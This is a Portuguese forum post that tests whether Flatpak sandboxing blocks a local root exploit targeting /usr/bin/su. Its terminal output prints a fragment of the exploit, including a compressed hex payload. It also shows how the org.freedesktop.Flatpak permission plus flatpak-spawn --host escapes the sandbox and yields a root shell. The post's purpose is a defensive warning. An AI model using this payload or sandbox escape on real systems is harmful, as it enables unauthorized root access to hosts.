Ok, fiz alguns testes e descobri o seguinte:
Se a sua porta de entrada com o mundo de fora é com flatpaks, em geral você está seguro graças ao isolamento sandbox.
O flatpak garante que o /usr/bin/su não é acessível de dentro do confinamento, então se um script tentar explorar a falha, ele não conseguirá:
F: Não será compartilhado “/usr/bin/su” com caixa de proteção: O caminho "/usr" está reservado pelo Flatpak
PORÉM há uma maneira disso ser contornado. Em algumas aplicações o flatpak dá a permissão org.freedesktop.Flatpak para o programa confinado, porque caso contrário quebraria o tal programa.
Essa permissão é perigosa porque ele dá a possibilidade de executar comandos no host fora do ambiente confinado com flatpak-spawn.
Então aqui nesse exemplo eu instalei o visualizador de imagens do KDE Plasma Gwenview em flatpak e tentei rodar o exploit, sem dar a permissão org.freedesktop.Flatpak:
a@fedora:~/Downloads$ flatpak run --command=sh org.kde.gwenview
[📦 org.kde.gwenview Downloads]$ python3 copy_fail_exp.py
Traceback (most recent call last):
File "/home/a/Downloads/copy_fail_exp.py", line 8, in <module>
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'
a@fedora:/usr/bin$ flatpak run --command=sh org.kde.gwenview
[📦 org.kde.gwenview bin]$ flatpak-spawn --host python3 ./copy_fail_exp.py
Portal call failed: org.freedesktop.DBus.Error.ServiceUnknown
Hint: --host only works when the Flatpak is allowed to talk to org.freedesktop.Flatpak
Então como podem ver o programa confinado não conseguiu rodar o exploit nem diretamente, nem com o flatpak-spawn.
MAS se eu der a permissão org.freedesktop.Flatpak:
a@fedora:~/Downloads$ flatpak run --command=sh org.kde.gwenview
[📦 org.kde.gwenview Downloads]$ flatpak-spawn --host python3 ./copy_fail_exp.py
bash: cannot set terminal process group (14904): Inappropriate ioctl for device
bash: no job control in this shell
[root@fedora Downloads]# whoami
root
[root@fedora Downloads]# exit
[📦 org.kde.gwenview Downloads]$
exit
a@fedora:~/Downloads$ su
[root@fedora Downloads]# whoami
root
Ou seja, cuidado com os flatpaks com permissão org.freedesktop.Flatpak, pois ele tem acesso total ao host.